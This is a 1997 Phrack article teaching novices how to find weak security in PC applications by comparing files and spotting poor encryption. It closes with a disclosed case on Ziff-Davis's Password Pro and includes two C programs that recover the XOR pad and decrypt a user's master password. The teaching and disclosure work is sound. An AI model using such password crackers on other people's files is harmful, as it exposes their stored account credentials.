| .oO Phrack 50 Oo. |
|
|
| Volume Seven, Issue Fifty |
|
|
| 12 of 16 |
|
|
|
|
| PC Application Level Security |
|
|
| by |
|
|
| Sideshow Bob |
|
|
|
|
| I. Introduction |
|
|
| In the past, hackers interested in security have focused most of their |
| efforts in finding and exploiting security holes in networking related |
| operating systems, protocols, and applications. I would like to suggest |
| another arena of hacking that might be of interest to emerging hackers. |
| Although the Internet is certainly a great place to hack, you can also |
| find a world of hacking sitting right on the computer at your desk. This |
| article is really aimed at a broad and young audience, for cryptographers |
| of tomorrow, not today. |
|
|
| The fundamental problem with the lack of security in applications today |
| is that people just don't care. Companies that produce security software |
| do care about security, but most software available today has some |
| component of security in them, written by programmers who do not |
| understand or care about security. When a consumer uses a piece of |
| software that has advertised security features, they do not have the |
| knowledge or power to determine if the security in that software is |
| effective, or waiting to be exploited. There are literally thousands of |
| applications out there for PCs right now, and many of them have security |
| problems just waiting to be discovered. |
|
|
| In this article, I hope to provide interested new hackers the motivation |
| and knowledge to go out and explore PC applications they have access to in |
| order to determine if they have security problems. Giving out exploits is |
| definitely NOT the goal of this article, I decided to provide one example |
| to show the process at work, but I leave it up to the readers to go out and |
| hack for themselves. |
|
|
| If you find security holes of your own in PC applications, I strongly |
| encourage you to inform the companies involved, and post your findings in |
| an appropriate public forum. If you learn from this article, helping the |
| security community by letting other people know about security problems in |
| PC software is the greatest compliment you could give me. |
| |
|
|
| II. Finding an Candidate |
|
|
| Just exactly what I am talking about when I say PC application security? |
| First off, I am talking about mass consumer operating systems. Unix and |
| NT are being examined by many security people today in great depth for |
| security holes, and there is definitely a good reason for that, but this |
| article is focused on the computers sitting at most people's desks. |
| Windows and Mac-OS are both widely used legitimate operating systems. |
|
|
| Some security people might tell you if you care about security, don't |
| run Windows '95. That is an easy answer, it is far easier to build secure |
| applications on top of more secure operating systems. But that does not |
| address the realistic security threats that exist on these operating |
| systems. The fact is, nobody is going to ruin your life, steal your |
| money, or cause millions in harm solely because of a vulnerability in one |
| of these programs. But as a consumer, you should expect and DEMAND that |
| when someone tells you their program is secure that they aren't flat out |
| lying to your face. When someone tells you your personal information you |
| enter into a program is protected by a password, you should DEMAND that |
| without that password, your data is protected from your family, your |
| friends, and even a friendly visit from your local law enforcement agency. |
|
|
| What programs should you look for with security holes? Quite simply, |
| anything that claims to have any security in it. The most obvious tip-off |
| is anything with passwords. In addition, anything that has users, |
| restricts access, or claims to protect your data. Encryption and |
| authentication are big buzzwords that someone is messing with security. |
| Look on your hard drive, look in computer stores, look on the Internet for |
| shareware and freeware (if its free, its ok if it lies about what it does? |
| I don't think so.). Not every program has any element of security in it, |
| but lots do. Not every program you find will have security holes, but if |
| you spend enough time and look at enough programs, you are going to find a |
| lot that do. I would especially encourage you to not limit yourself to |
| high-profile, popular applications. Certainly those are viable |
| candidates, but there are a lot more choices than that. If you have found |
| an application, now you are ready to hack! |
|
|
|
|
| III. Finding Vulnerabilities |
|
|
| A. Application Purpose |
|
|
| You have found a candidate application, and now you want to find out if |
| it is insecure. The first thing you want to do is to learn how the |
| program works. The worst of the worst applications will allow you to |
| subvert security directly from within the application. An example of this |
| was the first version of Microsoft "Bob". After incorrectly entering your |
| password too many times, Bob would wisely figure out that you forgot your |
| password and ask you if you wanted to change it. |
|
|
| Determine what the goal of the security in the application is. |
| Generally this will be to protect sensitive information in the program. |
| For the candidate application, determine what information is being |
| protected. It might only be a small sub-set of the data, or perhaps all |
| of it. Often the product won't tell you what it is trying to protect, so |
| you will need to do some digging inside the program to discover it. Some |
| programs might let anyone read data, but only authorized users modify it. |
| Other programs might let anyone enter in new data, but only authorized |
| users read what has been entered. Another program might let anyone read |
| and enter in new data, but only let authorized users delete individual |
| entries (in an insecure OS, anyone could delete the entire database, but |
| that does not imply one could selectively remove information from a |
| database). |
|
|
| B. User Interaction |
|
|
| Next, figure out all the different elements of the program that allow |
| the user to interact with the security module of the program. Where does |
| it ask for usernames? Where does it ask for passwords? Can I change a |
| password? Can I remove a password? Can I password protect different |
| parts of a file? Do I have any options as to what kind of security is |
| employed? Can I disable security altogether? Do I protect a file, a |
| database, a user? This is the typical user level interaction with the |
| program. I would not even attempt to start digging at a lower level of |
| the program until you are an expert on how the program functions at the |
| user interface level. |
|
|
| C. Digging Deeper |
|
|
| Now that you have comprehensively examined and understand the program at |
| the normal user level, you are ready to start hacking, and that means |
| figure out how the program works. Now, if you are extremely fortunate, |
| you may have source code to the program and will be able to simply read |
| that source and fully understand how it works. Another method for |
| figuring out how the program works is to disassemble the program and read |
| through the assembly code of the program as it executes. This is a |
| reasonable method and sometimes the best, but it requires a thorough |
| understanding of assembly language and in order to make this article |
| accessible to anyone interested, I am going to ignore that possibility. |
| If you are interested in doing so, I suggest picking up a good book on |
| assembly and a high quality debugging tool. |
|
|
| If you have the most typical application of security in your |
| application, the security is meant to protect some sensitive information. |
| Somewhere on your hard drive, in some form, is that sensitive information: |
| Find It! Usually this isn't hard, you install the application somewhere |
| and if it is well behaved it doesn't put the data in some random location |
| on your hard drive (but be forewarned, some do exactly to confuse you at |
| this step). Start out with a fresh installation of the software on your |
| drive, and then enter some data into the application, and see what |
| changed. Now you should know what file(s) data gets written out to. |
|
|
| D. File Modifications |
|
|
| Look at the directory listings, sometimes the filename itself is a clue. |
| Save directory listings out to a file, and then make some modification in |
| the program (and save), and make another directory listing. For each |
| listing, write down what you did between that and the last listing. Now |
| you have a bunch of directory listings, which may or may not help you. |
| You need to try and interpret this data to tell if there is anything you |
| can learn about how the program works. In the worst case (for you), |
| absolutely nothing will change. Usually at least timestamps on the files |
| will change, telling you what files were written to. |
|
|
| Does every user or database you enter get written to a new file which is |
| the name of the user, or does it all get written to one file? Does each |
| new entry create a new file? Does one file get bigger by a fixed amount |
| of size for each entry you add? Is each file created the same size? Do |
| you recognize the extension of the file? |
|
|
| E. File Contents |
|
|
| If you have made any progress at all by this point, you should be able |
| to narrow down what file or files you need to examine in more depth. The |
| best thing to do is to just look at the files. There are two things you |
| need at this point: a good hex viewer and a good diff utility. The hex |
| viewer should let you know look at both the ASCII text and binary contents |
| of the file; for DOS something like the shareware List utility is good. A |
| diff utility will take 2 or more files as input and tell you what has |
| changed between them. This will automate telling you what has changed in |
| the files when you make a change in the data. |
|
|
| Quite simply, use these two utilities. Take a look inside the files |
| that you KNOW have to contain the sensitive data. Now if a program is |
| meant to protect you from reading the data and your hex viewer is sitting |
| there and you see it all in front of your face, you have found a problem. |
| If you change an 'a' to a 'b' in the application and one byte of data is |
| incremented one byte in the file, you are getting closer. In many cases, |
| you will need to enter in a lot of data into the application and compare |
| numerous resulting files in order to figure out exactly what and where |
| things change. |
|
|
| If data is being protected, the worst case (for you) is that it is |
| actually being encrypted with a known secure algorithm. Does that mean it |
| is secure? No, through thorough cryptanalysis, serious computing power, |
| or implementation flaws, one might still be able to read the data. But |
| this sort of analysis is left to professionals in that field, and not the |
| target of this article. For you, you may have to find alternative methods |
| to gain access which are probably far easier to begin with. This might |
| mean keystroke logging, social engineering, or simply trying to brute |
| force attack the situation. |
|
|
| A more common situation is that some, but not all of the data is being |
| encrypted. You will very likely be able to extract sensitive information |
| that the users of the program thinks is sensitive and should be secure, |
| but the application programmer's decided was not part of the sensitive |
| date. Not clearly communicating what is being protected and what isn't |
| should be an indication that everything is being protected, but that is |
| very often not the case at all. |
|
|
| Another common situation is that the data is being poorly encrypted. |
| This is usually the case if you can't read the data in text in the files, |
| but you are able to pick up clear patterns of what is being changed. Good |
| encryption should make data that looks 'random', if what you are looking |
| at looks decidedly not random, there is a problem. |
|
|
|
|
| IV. Exploiting Vulnerabilities |
|
|
| I will finish up this article with an example of how to work through this |
| process from finding a program to exploiting the vulnerability. Ziff-Davis |
| Interactive has been advertising and offering a free Windows utility known |
| as "Password Pro" for the sole purpose of letting Windows users maintain |
| passwords in a central database securely. On the Internet today, people |
| (not to mention hackers) have accounts on numerous machines and managing the |
| passwords for all of these systems is not a trivial task. With the increasing |
| popularity of requiring registration to gain access to all the features of a |
| web site, users are accumulating more and more accounts than ever before. |
|
|
| In the past, users have taken on several solutions to this problem. Some |
| people use the same account name and password everywhere they go. Obviously |
| this presents a major security problem, as there is no way to guarantee the |
| security of any one of the accounts that they use, much less all of them. If |
| their password is compromised, it is an even more daunting task to change the |
| password on every site that is being used. Still, this requires a user |
| maintain a list of systems they have accounts on, and with more people using |
| the net everyday, it is inevitable that some people will attempt to use the |
| same account name. |
|
|
| Another possible solution people have used is to maintain a cleartext file |
| on their system, or a physical notebook that has a list of usernames and |
| passwords. Using paper and pen certainly will eliminate hackers over the |
| Internet from gaining access, but if you have ever seen War Games you know |
| that crackers are not above physically snooping around your home or office |
| in order to find out passwords. Leaving a plaintext file on your system is |
| an even worse solution. If you are running an insecure operating system |
| such as DOS or Windows '95, anyone that can sit down at your computer will |
| be able to read it. Even with Windows NT or a Unix operating system, you do |
| not want anyone that can gain administrator/root access to the machine to |
| immediately gain access to every machine on the Internet that you have an |
| account on. |
|
|
| While there is no perfect solution preventing someone with root access to |
| the box you are using from snooping your keystrokes or sniffing your sessions, |
| it is certainly more work to do so than to simply read a cleartext file. So, |
| it is clear that for many users on the Internet today, there is a definite |
| use for the type of utility that ZD Net is providing. Further, as will be |
| explained in this article, there are definitely fairly secure methods of |
| writing and using such a database. It is unfortunate that Ziff-Davis has |
| implemented this tool in such a manner as to actually make it easier for |
| people to obtain users' account names and passwords. The author of this |
| utility was informed through appropriate channels of this vulnerability |
| in his software and as of the release of this article, an upgraded version |
| with a well known encryption algorithm should be available. |
|
|
| All of my work with regards to Password Pro was done by modifying accounts |
| and entries through the normal operation of the program, and then viewing the |
| changes that were made to the corresponding .lst files. At no point did I |
| attempt to disassemble the Password Pro code, although that would have |
| resulted in the same ultimate findings. |
|
|
| For each user on a machine that wishes to use Password Pro, a file is |
| created in the Password Pro directory with a filename of <username>.lst. When |
| you first start-up Password Pro, it prompts you for a username and password. |
| When you enter a filename, it looks for a file with the .lst extension matching |
| that username. If it finds the file, it then reads the password that you are |
| prompted for, and attempts to validate the password with the one stored in the |
| file. If the file does not exist, the user is asked if he wants to create a |
| new account; if so he can then enter and confirm a password and a file is |
| created. |
|
|
| The file format of the user .lst files is proprietary. When the file is |
| first created, it is 32 bytes in length. Users can then add entries to the |
| file which contain a system name, account name, password, and password |
| expiration. Adding a single entry to a new .lst file increases the file size |
| to 166 bytes. |
|
|
| Viewing the file showed that the Password Pro password did not show up |
| in plaintext anywhere in the file, nor did any of the passwords for the |
| systems that users had entered. System names and account names were however |
| in plaintext; my first disappointment in examining the security of the program. |
|
|
| My first thoughts with regards to the file format was simply that the |
| password was stored in the first 32 bytes of the file, and the entries were |
| stored in fixed length structures beyond that. If each entry's password was |
| actually encrypted with the password that was entered by the user, there would |
| be no way to directly view the contents of the file. At this point in time, |
| I had no idea if this was the case or not, but if it proved to be true, there |
| would still be other options available in attempting to read the entries, such |
| as a dictionary attack. |
|
|
| To test my first theory, I created a user, blue, that I would attempt to |
| break the security on. I used the password "password", obviously a poor |
| choice for a real application but since I was not going to mount a dictionary |
| attack at this point, it was irrelevant. I added an entry for this user for |
| a fictitious system, account name, and password. I then created a user, |
| hacker, with no password on his account, and on database entries. On my |
| filesystem I then had a 166 byte blue.lst file and a 32 byte hacker.lst file. |
| In order to merge the two files into one, I used the commands: |
|
|
| C:\PASSWORD> tail --bytes=134 blue.lst > blue.end |
| C:\PASSWORD> copy /b hacker.lst+blue.end > hacked.lst |
|
|
| I then loaded up Password Pro and attempted the username 'hacked'. It |
| prompted for a password and when I attempted none, it prompted me again. It |
| was clear that cracking this program was not going to be quite that trivial. |
|
|
| It was clear that all of the information necessary to attack the password |
| was being stored somewhere in those first 32 bytes. The easiest way to |
| scramble the password would be a bit-shift (rot-13) or to XOR the password |
| with a single character. If this was true, the password 'password' should |
| show the two consecutive 's' characters as being the same value. I looked |
| through the hex dump of the file to see if this appeared to be true, and |
| it wasn't. |
|
|
| The next complication in encryption is to XOR the files with a 'pad'. This |
| would mean that each letter in the password would be XOR-ed with a different |
| byte, up to the length of the pad, and then it would start over XORing with |
| the first letter of the pad, and so on. If this were the case, changing one |
| letter in my password would only change one byte in the file. I created a |
| password of 'pastword' and diffed the files; only 1 byte changed. This looked |
| promising, so it was time to extract the 'pad' from the file. For an eight |
| letter password, I need to find out what the 8 bytes being used to XOR the |
| file are. The way to do this is to simply take a file the program creates |
| with a known password, and XOR the file with the password, resulting in the |
| pad. This reverses what the program originally did, which was XOR the |
| password with the pad to create the file. |
|
|
| <++> pwp-pad.c |
| /* pwp-pad.c - ZD Password Pro for Windows Pad Reader (1/14/97) |
| * |
| * Syntax: pwp-pad filename.lst password |
| * |
| * Given a database file created by Password Pro and the password entered to |
| * protect the file, outputs the pad being used by Password Pro to encrypt |
| * files. |
| * |
| */ |
|
|
| #include <stdio.h> |
|
|
| main(int argc, char **argv) { |
| FILE *fpass; |
| char pbuf[32], inbuf[32]; |
| char *password, *pptr; |
| int i; |
|
|
| /* check command line arguments */ |
| if(argc < 3) { |
| fprintf(stderr, "Syntax: %s filename.lst password\n", argv[0]); |
| exit(1); |
| } |
|
|
| password = argv[2]; |
|
|
| /* open the file */ |
| fpass = fopen(argv[1],"r"); |
| if(!fpass) { |
| fprintf(stderr, "Unable to open file %s\n", argv[1]); |
| exit(1); |
| } |
|
|
| /* read from file */ |
| if(fread(pbuf, 1, 32, fpass) != 32) { |
| fprintf(stderr, "Unable to read password entry from file.\n"); |
| exit(1); |
| } |
|
|
| /* output pad by xor file contents with password from command line */ |
| printf("Pad: "); |
| for(i=0; i<32 && pbuf[i]; i++) { |
| pbuf[i] ^= password[i]; |
| printf("%x ", 0xff & pbuf[i]); |
| } |
| printf("\n"); |
| } |
| <--> |
|
|
| Now that we have the pad, the next step is to use that pad to actually |
| crack the contents of someone else's file. The way we do that is by taking |
| someone's lst file that we don't know the password for, and XORing the start |
| of the file with the pad. This will result in the password that they stored |
| the file with, which we can then enter into the program to view the contents. |
|
|
| <++> |
| /* pwp-crack.c - ZD Password Pro for Windows Cracker (1/14/97) |
| * |
| * Syntax: pwp-crack filename.lst |
| * |
| * Outputs the password entered by the user of Password Pro to protect others |
| * from reading the contents of their account and password database. |
| * |
| */ |
|
|
| #include <stdio.h> |
|
|
| main(int argc, char **argv) { |
| FILE *fin; |
| char inbuf[32]; |
| char pad[] = { 0x38, 0x17, 0x2b, 0x8c, 0x59, 0xaf, 0xe6, 0x03, 0x61, 0x85 }; |
| int i; |
|
|
| if(argc < 2) { |
| fprintf(stderr, "Syntax: %s filename.lst\n\n", argv[0]); |
| exit(1); |
| } |
|
|
| fin = fopen(argv[1],"r"); |
| if(!fin) { |
| fprintf(stderr, "Unable to open %s for reading\n", argv[1]); |
| exit(1); |
| } |
|
|
| if(fread(inbuf, 1, 32, fin) != 32) { |
| fprintf(stderr, "Unable to read password from file.\n"); |
| exit(1); |
| } |
| |
| printf("Password: "); |
| for(i=0; i<32 && inbuf[i]; i++) { |
| inbuf[i] ^= pad[i % sizeof(pad)]; |
| printf("%c", inbuf[i]); |
| } |
| printf("\n"); |
| } |
|
|
| <--> |
|
|
|
|
| V. Conclusion |
|
|
| If you are interested in any of this, I strongly encourage you to go out |
| and find holes and write exploits on your own. I'm sure Phrack would love |
| to hear about any findings you make, so let us know how you are doing. |
|
|
| If you are a software developer and are interested in avoiding become a |
| victim of one of Phrack's budding hackers, or just want to learn more about |
| practical crytography, I suggest you pick up a copy of Bruce Schneier's |
| Applied Cryptography available at any big bookstore. |
| |
| EOF |
|
|